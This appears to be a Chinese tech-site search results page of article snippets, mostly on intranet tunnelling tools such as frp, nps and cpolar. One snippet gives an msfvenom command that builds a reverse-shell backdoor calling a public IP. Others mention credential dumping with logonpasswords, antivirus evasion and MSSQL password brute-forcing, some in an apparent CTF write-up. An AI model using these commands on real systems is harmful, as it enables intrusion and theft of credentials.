首页
学习
活动
专区
圈层
工具
发布
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    内网接收外网shell(内网穿透)

    前言: 内网穿透的方式不少,有人会也有人不太懂,最简单的,对新手友好的就是花生壳,但是要钱,对穷人不友好,这里我们就用操作稍微有点麻烦的但是免费的frp。...工具: 我们到官网上下载就好了: https://github.com/fatedier/frp/releases 我这里下载的是最新版,当然我们还需要准备一台服务器,腾讯云什么就好 轻量级就可以了,...(这里不讲配置的一些理论理解了,麻烦,大家可以百度内网穿透的理论知识) 我们需要生成一下木马文件 msfvenom -p windows -a x64 -p windows/x64/shell_reverse_tcp...LHOST=101.43.1.181 LPORT=8000 -f exe -o backdoor.exe -o选择文件名,ip地址选择外网服务器的地址 端口选择8000 下载到桌面 我这里用xshell...windows/meterpreter/reverse_tcp 设置IP和端口 然后我们生成就好,放到任意谁的电脑上,但是要关杀软,因为我们没加免杀,Windows自带的检测也要关闭 运行后成功外网上线

    1.8K20

    由外网打点到内网横向

    - 弱鸡 (ruoji.info) 第一个flag–外网打点 第一个flag就是签到题,当时图忘记留了,就是直接就给出flag了 图片 图片 Z-BlogPHP 1.7.2CMS,后台路径是zb_system...c8aZaU CS简单做个免杀套个壳改一下特征码即可实现绕火绒,上传上去之后cs上线 这地方到后面几天,免杀也不行了,虽说上传上去了但是运行不上线,用powershell进行上线 上传fscan进行内网探测...#外网对应内网地址 [+] SSH:192.168.1.129:22:root root #蜜罐 192.168.243.135:3306 open 192.168.243.135:135 open...129几乎全是蜜罐 第三个flag-内网横向 cs上线 图片 抓取密码 -logonpasswords Authentication Id : 0 ; 506030 (00000000:0007b8ae...) kerberos : Username : desktop-48iqavs$ Domain : WORKGROUP Password : (null) ssp : KO credman : 内网横向探测

    1.6K30

    FRP内网穿透单机传奇架设外网

    看着这个标题我我自己都有点懵,大概意思就是用自己家的电脑架设一个传奇服务端,然后用FRP内网穿透可以在外网玩,标题写的有点纠结,就这样吧。...请先准备工具: 1.电脑(能上网的那种); 2.服务器1台(自己玩1M宽带即可,很多人玩就自己看着办); 3.一个支持frp内网穿透的路由器(好像有软件也可以支持,没试过); 4.好像没了(一个脑子༼...∗ •̀ (oo) •́ ∗ ༽) 开始搞事情 先在服务器上面安装frp内网穿透:Frp内网穿透Frp一键安装脚本及设置教程 然后就在路由器设置和服务器没啥太大的关系了。...就能看到 爱游这里配置了所有端口,就是测试的时候配置的,事实证明并不需要,只需要7000,7100,7200端口 还有就是要在基本设置里面设置成外网的IP地址,不然是不开门的。...下面是在外网访问的效果:(图片大让它加载一会会儿) 也可以体验下爱游架设的,就我和盆友偶尔玩玩,服务器就2M的带宽 下载信息 资源名称:资源名称:外网测试 应用平台:应用平台:windows 资源版本

    5.2K30

    【Linux内网穿透】使用SFTP工具快速实现内网穿透

    安装cpolar 4.远程访问 5.固定TCP地址 内网穿透简介 是一种通过公网将内网服务暴露出来的技术,可以使得内网服务可以被外网访问。...文件共享:内网穿透可以让内网的文件共享服务暴露在公网上,方便用户在外网访问和下载内网文件。...服务器搭建:通过内网穿透技术,可以将内网服务器暴露在公网上,方便用户在外网访问和使用内网服务器上的服务。...简单几步实现Linux SFTP结合cpolar内网穿透工具实现远程连接 1....查看地址 检查Linux IP地址,我们输入: ip address 然后即可看到设备的局域网IP地址 2.局域网测试连接 我们打开连接工具,这里使用winSCP连接测试,协议选择SFTP,输入上面查看的

    6.7K50

    内网及外网MSSQL口令扫描渗透

    在实际渗透过程中,往往通过SQL注入或者弱口令登录后台,成功获取了Webshell,但对于如何进行内网渗透相当纠结,其实在获取入口权限的情况下,通过lcx端口转发等工具,进入内网,可以通过数据库、系统账号等口令扫描来实施内网渗透...本文就介绍如何在内网中进行MSSQL口令扫描及获取服务器权限。...Passwordlist根据实际收集的密码来进行扫描,如果是普通密码破解,则可以使用top10000password这种字典,在内网中可以逐渐加强该字典,将收集到的所有用户密码全部加入。...XML********登录192.100.100.33服务器,如图16所示成功获取内网中一台服务器权限。...图16成功登录远程终端 4.总结与提高 (1)口令扫描,可以通过sqlping等工具对内网IP进行扫描,获取sa口令 (2)查看服务器版本,对SQLServer2005可恢复其存储进程:EXEC sp_configure

    2.7K60

    nps内网穿透实现外网访问树莓派

    今天先说一下最重要的问题:如何通过内外穿透让外网访问到树莓派上的服务? 从网站建好以后,试过两种内网穿透方式,花生壳、NPS。...目前支持tcp、udp流量转发,可支持任何tcp、udp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析等等……),此外还支持内网http代理、内网socks5代理、p2p...但nps有个最大的问题就是:需要一台外网能访问到的服务器来架设nps服务。有人说你都有外网的服务器了还要内网穿透干什么呢?...在我看来,坚持使用nps的理由是这样,nps轻量级,高性能,但其本身负责的是流量转发功能,我们可以在内网服务器进行更密集、高负荷的运算,而承担nps服务的外网服务器的配置要求就低很多。...-zxvf linux_amd64_server.tar.gz 安装 sudo .

    2.1K20

    什么是内网穿透?如何实现本地无公网IP外网远程访问?附10个内网穿透工具方法

    2、打通内外网 简单来说,内网穿透就像给你的内网设备开了一扇“可以让外网访问的门”。...在众多内网穿透工具中, 通常其安装与配置过程极为简便,即使是不懂网络知识也能轻松上手。以大众化内网穿透工具nat123为示例,核心步骤只需简单的3步操作,即可完成内网设备与外网的无缝连接。...确认保存生效后,在外网就可以通过对应映射设置好的外网地址(自己域名或默认提供的域名)端口进行连接访问到,指定内网端口资源服务。...三、汇总整理了10个内网穿透工具方法 内网穿透工具在现代数字化生活中扮演着不可或缺的角色,成为了众多用户解决无公网IP跨网互通互连的便捷之选。...通过以上10种方法,用户可以选择合适的内网穿透工具,轻松实现远程访问内网应用的需求。这些工具都提供了简单易用的界面和配置方式,即使是没有技术背景的用户也可以轻松上手。

    2.6K40

    远程桌面链接内网服务器(外网和内网)详细介绍

    一般有几种方法: 1.windows远程桌面到公司电脑 2.笔记本链接至V**服务器,公司电脑也链接到V**服务器,然后公司电脑把3389端口映射出来,然后家里电脑直接通过远程桌面工具访问公司电脑...3.可以通过第三方工具比如teamview远程,但是现在不能用了。...你可以理解为这个花生壳就是一个V** 5.链接成功以后可以开个测试工具测试下端口是否映射成功(我这里是开了个微服务项目测试的) 6.需要到主机的计算机管理-本地用户组当中的用户设置密码(如果需要的话)...,在公司里,因为内网地址可能被域名绑定,因此不需要考虑地址是否在公网上。...以下是实践操作中查阅的相关资料文档: 外网远程桌面连接内网服务器(https://blog.csdn.net/u010169742/article/details/77993022) win7 不设置用户名密码远程登录方法

    10.5K41

    从外网到内网的渗透姿势分享

    渗透的大体过程 整个渗透测试的流程就是通过信息收,集到外网的 web 漏洞挖掘,来获取一个 webshell ,通过这个 shell 进一步利用来打进内网,进行内网渗透、域渗透,最终获取域控权限的一个过程...内网数据库爆破 这里推荐使用 F-Scrack 和 DBScanner 工具,在 github 上面都有,进入内网之后弱口令比较多,扫描爆破的效果还是不错的。...若公网跳板机是 linux 的话,可以使用 linux 版本的 lcx,也就是 portmap 用法: ....从 S2-045 到内网渗透 检测 S2 的方法就不说了,直接工具一把梭。这里推荐使用 "Struts2漏洞检查工具2018版" 这个工具,可以批量导入 url ,效率还是可以的。...所以这时候你一般就没有办法直接连接到他的 3389 端口,因为他在内网里所以就只能使用端口转发了。 如果存在外网 IP 的话显示的就是外网 IP。

    2.4K30

    公司内网网线,外网wifi解决办法!

    ---- 同时使用内外网不用切换这么流的操作你不会不学一下?...-----------------来自小马哥的故事 ---- 公司搬家了,原来连接一个网络可以同时上内外网,现在,内网是内网,外网是外网,来回切换,工作起来很费劲,现在要不切换就同时使用内外网,不过发现这样有个问题...,就是在笔记本的无线连上外网的时候,只要插上内网的网线,就发现qq一类的一律掉线,外网连接就不行了,网页也打不开。...这样搞的比较麻烦,每次测试完程序,要手动拔掉网线,外网才能上。感觉这样的做法太麻烦了,能否内网和外网同时接入到笔记本,不用每次拔网线呢?于是在网上找了找资料,果然还找到了。...接下来就可以上外网了,并且内网访问也正常。 目前这个方法存在一个缺点,就是当无线设备关闭以后,再重启。发现再打开无线设备,原先的设置都还原了,需要重新设置。

    6K21

    内网的服务如何在外网可访问

    工作中经常会遇到在内网中的服务如何被外网访问的问题。 比如,自己电脑上有个服务,想给外网的其他人临时看下,怎么办,难道还要去外网服务器上再部署一份?...比如,公司内网有一套完整的工具链,可以用来打包、发版本什么的,有一天你在家里,突然发生紧急情况,要发个版本,怎么办,难道还要去公司一趟? 今天写了个工具,完美解决了这些问题。...它可以随时把你内网的服务端口映射到外网服务器上,其他人要访问,只要改个ip就好。...项目已经开源到GitHub: https://github.com/wangyuntao/duck 当然,类似工具或项目还有很多,但是自己写的,总能让自己最满意。

    3.3K40

    内网畅外网墙--再聊Nginx访问权限管理

    路由器 网关:一个大概念,不具体特指一类产品,只要连接两个不同的网络的设备都可以叫网关 路由器:连接两个或多个网络的硬件设备,路由器很显然能够实现网关的功能 缺省网关:是子网与外网连接的设备,通常是一个路由器...广播地址(Broadcast Address)是专门用于同时向网络中所有工作站进行发送的一个地址 回到开始 文章开头,大家看到的那段配置,是对资源访问做限制所配置,基本诉求为:内网可以直接访问,外网需要通过账户密码访问...当然为了可以更大范围的内网允许访问(办公室多内网段:0/101/200/201 => 使用三层交换机打通各子局域网),可以将网络位数控制的更小。

    2.1K20
    领券